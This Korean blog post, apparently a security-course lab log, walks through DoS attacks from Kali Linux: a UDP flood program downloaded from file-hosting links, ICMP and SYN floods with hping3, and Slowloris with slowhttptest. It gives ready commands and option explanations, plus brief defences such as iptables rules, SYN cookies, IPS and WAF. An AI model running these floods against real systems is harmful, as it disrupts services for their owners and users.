KH정보 교육원 일지 IT/Linux

Kali Linux를 사용한 Dos, DDos , DRDos

SY0809 2021. 3. 24. 12:03
728x90

 

네트워크 구성도

- 다음과 같이 구성된 네트워크에서 152.75.84.18 --> 113.61.107.5 로 UDP Flooding 공격을 진행

 

 

https://mega.nz/file/lk5QwRCC#cw5ePEtb_axAxV2JQgNMHaqzXkSB4hkl0P_00x9AvQI

 

3.4 KB file on MEGA

 

mega.nz

방법

 

다음 코드를 칼리 리눅스에 다운받아

 

gcc -o udpflood udpflood.c 로 컴파일 진행후 

 

-2024.04.08 다운로드 링크 안될시 대체 링크-

https://drive.google.com/file/d/1uvqIvuERDEmhdi73ynqZt6xj-dpBaRf-/view?usp=drive_link

 

./udpflood 113.61.107.5 53 입력해 공격을 진행

결과화면

다음과 같이 목적지 ip인 113.61.107.5 로  dns query가 나가는 것을 확인할 수있음

 

 

ICMP Flooding (= Ping of Death)

 

방법

hping3 --icmp 공격대상IP주소 -d 65000 --flood 

 

진행

1. hping3 --icmp 113.61.107.5 -d 65000 --flood (공격 작업)

2. iptables -t fliter -A INPUT -p icmp -j DROP (iptables를 사용해 icmp를 차단)

3. hping3 --icmp 113.61.107.5 -d 65000 --flood (공격 작업)

 

 

검증

 

실행 전 화면
방화벽 설정 전 실행 화면 (RX,TX 모두 늘어나는것을 확인할 수 있음)
방화벽 설정후 실행화면(RX 수신은 늘어나나 TX 송신은 일정함)

 

 

 

TCP SYN Flooding

방법

 

1. hping3 -S --flood --rand-source -p 21 공격자ip 로 공격 진행

 

 

 

검증

명령어 실행후 대상 IP로 SYN 패킷이 나가는 것을 확인할 수 있음
공격 대상 PC의 ftp 서비스 연결된 화면

차단방법

 

SYN Cookie(방화벽에서) 

  • SYN 수신하면 SYN+ACK  쿠키를 포함해서 전송 
  • 일정시간내에 정상적인 쿠키를 포함한 응답이 오지 않으면 차단해버린다

IPS 차단 

  • 단위 시간당 일정회수 이상의 SYN 제한한다. 

Slowloris 공격

원리

 

HTTP에서  사용되는 TCP 세션을 고갈 시킴 

HTTP GET 메소드를 사용하여 헤더의 최종 끝을 알리는 개행 문자열 \r\n\r\n (Hex: 0d 0a 0d 0a) 을 포함하지 않고 전송함으로써 서버는 요청이 완료되지 않았기때문에 계속 기다리게 되고…. TCP연결(세션) 끊을  없으므로 웹서버와의 Connection(세션)이 최대한 오랫동안 유지되어서 TCP 세션(자원)을 고갈시키는 공격이다. 

 

방법

apt-get install slowhttptest (인터넷 연결이 되야함)

slowhttptest -c 4000 -g -o slowloris -i 10 -r 100 -t GET -x 3 -p 3 -u 공격대상서버주소

 

옵션 설명

-g // 소켓 상태에 대한 통계 생성. -o 옵션과 함께 사용함. 

-o [file_name] // report 보고서 출력파일 생성. -g 옵션과 함게 사용해야 한다. 

-c // 공격대상에 연결시도할 최대 세션수.  

-i // 데이터간 전송 간격(interval) 

-r // 초당 연결 수. 높게 설정할수록 가파르게 연결 세션이 올라간다. 

-s // 헤더의 내용 길이. 필요한 경우에 사용한다. RUDY와 같이 사용 

-t [verb] // 요청 메시지 전송 시 지정한 Method를 사용(GET/POST) 

-u [URL] // 공격 대상 서버의 URL 주소 

-x [bytes] // 탐지를 피하기 위한 random한 문자열을 X- 다음에 붙여준다.  

-p [Seconds] // 지정한 시간(초)이 흐른 후에도 응답이 없으면 접속 불가능하다고 판단한다. 

 

검증

 

공격전
공격후 tcp로 포트만 바꿔서 SYN가 나가는 것을 확인 (service available 이 NO로 바뀜)

 

접속이 잘 되던 사이트가 접속 불가(Connection_Timed_OUT)

차단방법

  • IPS 차단 
  • WAF(Web Application Firewall) 차단 

 

 

 

 

 

 

 

 

--편집중--